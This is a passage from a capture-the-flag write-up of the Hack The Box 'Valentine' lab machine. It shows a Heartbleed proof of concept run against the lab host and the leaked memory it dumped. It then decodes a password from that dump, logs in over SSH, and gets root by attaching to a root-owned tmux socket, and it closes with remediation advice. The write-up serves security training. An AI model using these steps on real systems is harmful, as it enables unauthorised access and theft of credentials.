    [+] Testing for HTTP Strict-Transport-Security (HSTS) header ...

    [+] Testing for cookies with the secure flag ...

    [-] Testing for cookies without the secure flag ...

[*] New files created:
    [.] Output directory: TLSSLed_1.3_10.10.10.79_443_20200119-185143 ...

openssl_HEAD_1.0_10.10.10.79_443_20200119-185143.err
openssl_HEAD_1.0_10.10.10.79_443_20200119-185143.log
openssl_HEAD_10.10.10.79_443_20200119-185143.err
openssl_HEAD_10.10.10.79_443_20200119-185143.log
openssl_RENEG_10.10.10.79_443_20200119-185143.err
openssl_RENEG_10.10.10.79_443_20200119-185143.log
openssl_RENEG_LEGACY_10.10.10.79_443_20200119-185143.err
openssl_RENEG_LEGACY_10.10.10.79_443_20200119-185143.log
sslscan_10.10.10.79_443_20200119-185143.log

[*] done

OK, looks like we’re on OpenSSL version 1.1.1d.

Briefly examining the first result in searchsploit, it seems this PoC merely tells you if the server is vulnerable. but it also appears it may dump data. Let’s check it out.

Downloding with searchsploit -m 32764.py we can see the usage:

root@kali:/writeups/HTB/valentine/exploits# python 32764.py 
Usage: 32764.py server [options]

Test for SSL heartbeat vulnerability (CVE-2014-0160)

Options:
  -h, --help            show this help message and exit
  -p PORT, --port=PORT  TCP port to test (default: 443)

So let’s go ahead and run it. Upon first run, it does tell us the server is vulnerable, which we knew. But the data dump is rather large, so let’s run it again and pipe it to a file, to see if we get anything useful:

root@kali:/writeups/HTB/valentine/exploits# python 32764.py 10.10.10.79 -p 443 > results.txt

Running through the file with more results.txt reveals something interesting:

root@kali:/writeups/HTB/valentine/exploits# more results.txt 
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0300, length = 94
 ... received message: type = 22, ver = 0300, length = 885
 ... received message: type = 22, ver = 0300, length = 331
 ... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E  ....#.......0.0.
  00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co
  00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl
  0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
  0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
  0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4
  0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=aGVhc
  0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  nRibGVlZGJlbGlld
  0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D B7  mV0aGVoeXBlCg==.
  0160: DC DA C5 6A 8F AE BA 31 18 2B 0F E2 45 8F F6 22  ...j...1.+..E.."
  0170: E2 08 D6 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
  0180: 00 04 03 00 01 02 00 0A 00 1C 00 1A 00 17 00 19  ................
  0190: 00 1C 00 1B 00 18 00 1A 00 16 00 0E 00 0D 00 0B  ................
  01a0: 00 0C 00 09 00 0A 00 23 00 00 00 0D 00 20 00 1E  .......#..... ..

hmmm, a base64 message. Maybe a clue for SSH? I don’t feel like running the code through the app, though you could, so i’ll do it locally:

root@kali:/writeups/HTB/valentine/exploits# echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype

Intersting, so probably the password to our SSH key. They also want us to know heardbleed is a serious issue (which it is :)).

Using SSH to gain a shell

Alright, let’s try our SSH command with the identity file again. Trying both root and valentine didn’t seem to work. But after a few tries, it appears we can log in to a ‘hype’ user., with the password heartbleedbelievethehype

root@kali:/writeups/HTB/valentine/loot# ssh hype@10.10.10.79 -i hype.key
Enter passphrase for key 'hype.key': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ 

Great, we have an initial shell. Let’s go ahead and get the flag, and then figure out how to escalate privileges. It appears the flag is in a slightly different place than normal, we can find it with:

hype@Valentine:~$ find / -name *user.txt 2> /dev/null | grep -v -i denied
/home/hype/Desktop/user.txt
hype@Valentine:~$ 

Privilege Escalation

PrivEsc Enumeration

Trying sudo -l, it looks like we’re prompted for a password. Neither heartbleedbelievethehype, heartbleed, hype, or valentine seem to work, so let’s move on to something else.

Running an ls -al in the directory dropped in shows a few files, including a tmux config file, but other than that, nothing seemingly out of the ordinary.

We can run cat .bash_history to view the last few commands run, and we notice a tmux command or two, so let’s check out the tmux config.

hype@Valentine:~$ cat .tmux.conf
run-shell ~/.clone/path/resurrect.tmux

Interesting. Let’s see what processes our running:

hype@Valentine:~$ ps -ef | grep root
root          1      0  0 11:33 ?        00:00:00 /sbin/init
root          2      0  0 11:33 ?        00:00:00 [kthreadd]
root          3      2  0 11:33 ?        00:00:01 [ksoftirqd/0]
root          4      2  0 11:33 ?        00:00:10 [kworker/0:0]
root          6      2  0 11:33 ?        00:00:00 [migration/0]
root          7      2  0 11:33 ?        00:00:00 [watchdog/0]
root          8      2  0 11:33 ?        00:00:00 [cpuset]
root          9      2  0 11:33 ?        00:00:00 [khelper]
root         10      2  0 11:33 ?        00:00:00 [kdevtmpfs]
root         11      2  0 11:33 ?        00:00:00 [netns]
root         12      2  0 11:33 ?        00:00:00 [sync_supers]
root         13      2  0 11:33 ?        00:00:00 [bdi-default]
root         14      2  0 11:33 ?        00:00:00 [kintegrityd]
root         15      2  0 11:33 ?        00:00:00 [kblockd]
root         16      2  0 11:33 ?        00:00:00 [ata_sff]
root         17      2  0 11:33 ?        00:00:00 [khubd]
root         18      2  0 11:33 ?        00:00:00 [md]
root         19      2  0 11:33 ?        00:00:00 [kworker/u:1]
root         21      2  0 11:33 ?        00:00:00 [khungtaskd]
root         22      2  0 11:33 ?        00:00:00 [kswapd0]
root         23      2  0 11:33 ?        00:00:00 [ksmd]
root         24      2  0 11:33 ?        00:00:00 [khugepaged]
root         25      2  0 11:33 ?        00:00:00 [fsnotify_mark]
root         26      2  0 11:33 ?        00:00:00 [ecryptfs-kthrea]
root         27      2  0 11:33 ?        00:00:00 [crypto]
root         35      2  0 11:33 ?        00:00:00 [kthrotld]
root         37      2  0 11:33 ?        00:00:00 [scsi_eh_0]
root         38      2  0 11:33 ?        00:00:00 [scsi_eh_1]
root         39      2  0 11:33 ?        00:00:00 [kworker/u:2]
root         59      2  0 11:33 ?        00:00:00 [devfreq_wq]
root        168      2  0 11:33 ?        00:00:00 [scsi_eh_2]
root        176      2  0 11:33 ?        00:00:00 [vmw_pvscsi_wq_2]
root        245      2  0 11:33 ?        00:00:00 [jbd2/sda1-8]
root        246      2  0 11:33 ?        00:00:00 [ext4-dio-unwrit]
root        328      1  0 11:33 ?        00:00:00 upstart-udev-bridge --daemon
root        335      1  0 11:33 ?        00:00:00 /sbin/udevd --daemon
root        528    335  0 11:33 ?        00:00:00 /sbin/udevd --daemon
root        601      2  0 11:33 ?        00:00:00 [kpsmoused]
root        651      1  0 11:33 ?        00:00:00 /usr/sbin/modem-manager
root        663      1  0 11:33 ?        00:00:00 /usr/sbin/bluetoothd
avahi       679    678  0 11:33 ?        00:00:00 avahi-daemon: chroot helper
root        701      1  0 11:33 ?        00:00:00 /usr/sbin/cupsd -F
root        725      1  0 11:33 ?        00:00:00 NetworkManager
root        727      2  0 11:33 ?        00:00:00 [krfcommd]
root        751      1  0 11:33 ?        00:00:00 upstart-socket-bridge --daemon
root        833      1  0 11:33 ?        00:00:00 /usr/lib/policykit-1/polkitd --no-debug
root        875      2  0 11:33 ?        00:00:00 [flush-8:0]
root        931      1  0 11:34 ?        00:00:00 /usr/sbin/sshd -D
root       1020      1  0 11:34 tty4     00:00:00 /sbin/getty -8 38400 tty4
root       1028      1  0 11:34 tty5     00:00:00 /sbin/getty -8 38400 tty5
root       1035      1  0 11:34 tty2     00:00:00 /sbin/getty -8 38400 tty2
root       1036      1  0 11:34 tty3     00:00:00 /sbin/getty -8 38400 tty3
root       1038      1  0 11:34 tty6     00:00:00 /sbin/getty -8 38400 tty6
root       1040      1  0 11:34 ?        00:00:05 /usr/bin/tmux -S /.devs/dev_sess
root       1043   1040  0 11:34 pts/19   00:00:00 -bash
root       1063      1  0 11:34 ?        00:00:00 acpid -c /etc/acpi/events -s /var/run/acpid.socket
root       1064      1  0 11:34 ?        00:00:00 cron
root       1091    335  0 11:34 ?        00:00:00 /sbin/udevd --daemon
root       1123      1  0 11:34 ?        00:00:12 /usr/bin/vmtoolsd
root       1295      1  0 11:34 ?        00:00:00 /usr/sbin/apache2 -k start
root       1466      1  0 11:34 tty1     00:00:00 /sbin/getty -8 38400 tty1
root       1623      1  0 11:34 ?        00:00:00 /usr/lib/vmware-vgauth/VGAuthService -s
root       1658      1  0 11:34 ?        00:00:05 //usr/lib/vmware-caf/pme/bin/ManagementAgentHost
root       3184    931  0 17:23 ?        00:00:00 sshd: hype [priv]   
root       3187      1  0 17:23 ?        00:00:00 /usr/sbin/console-kit-daemon --no-daemon
root       3520      2  0 17:30 ?        00:00:00 [kworker/0:1]
root       3551      2  0 17:35 ?        00:00:00 [kworker/0:2]
hype       3557   3396  0 17:37 pts/0    00:00:00 grep --color=auto root

Ah, so tmux is running as root. More concisely, we could view it like:

hype@Valentine:~$ ps -ef | grep root | grep tmux
root       1040      1  0 11:34 ?        00:00:06 /usr/bin/tmux -S /.devs/dev_sess

Let’s try to connect to the session /.dev/dev_sess with tmux, as that’s what the current tmux process seems to be doing. (using man tmux shows that the -S flag is used to connect to a socket), implying a session is already open there. Since it’s running as root, we might be connected to a root shell, let’s ee:

hype@Valentine:~$ tmux -S /.devs/dev_sess

And boom, we’re dropped into a root session. Yay!

root@Valentine:/home/hype#
root@Valentine:/home/hype# find / -name *root.txt 2> /dev/null
/root/root.txt
root@Valentine:/home/hype# date && whoami
Sun Jan 19 17:44:26 PST 2020
root
root@Valentine:/home/hype# 

Conclusions

remediation recommendations

Patch systems - a heartbleed patch, in this case, should have been applied. It’s a serious vulnerability that leaks potentially valuable information.
Avoid having tmux run as root, if possible. There may be some legitmate uses, for this however. I’m guessing in this scenario, a root shell was spawned, and tmux was connected from there. Instead, it would be more ideal to connect a new session as a user and then use sudo.

personal takeaways

I still need to find the balance of how far down a path to go, versus taking a step back and reassessing. For instance, I didn’t need to go down the path of checking the encode/decode app. (I could have found the heartbleed vuln earlier, running the check as soon as I saw SSL/HTTPS running). That being said, I don’t feel that was a bad path to go down, especially if it were a professional assessment, we’d need to check as many areas of the webserver as possible.
Research more into tmux :)

And that should be it. Thanks for reading!

~@initinfosec

hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep

I feedback.
Let me know what you think of this article on twitter @initinfosec or leave a comment below!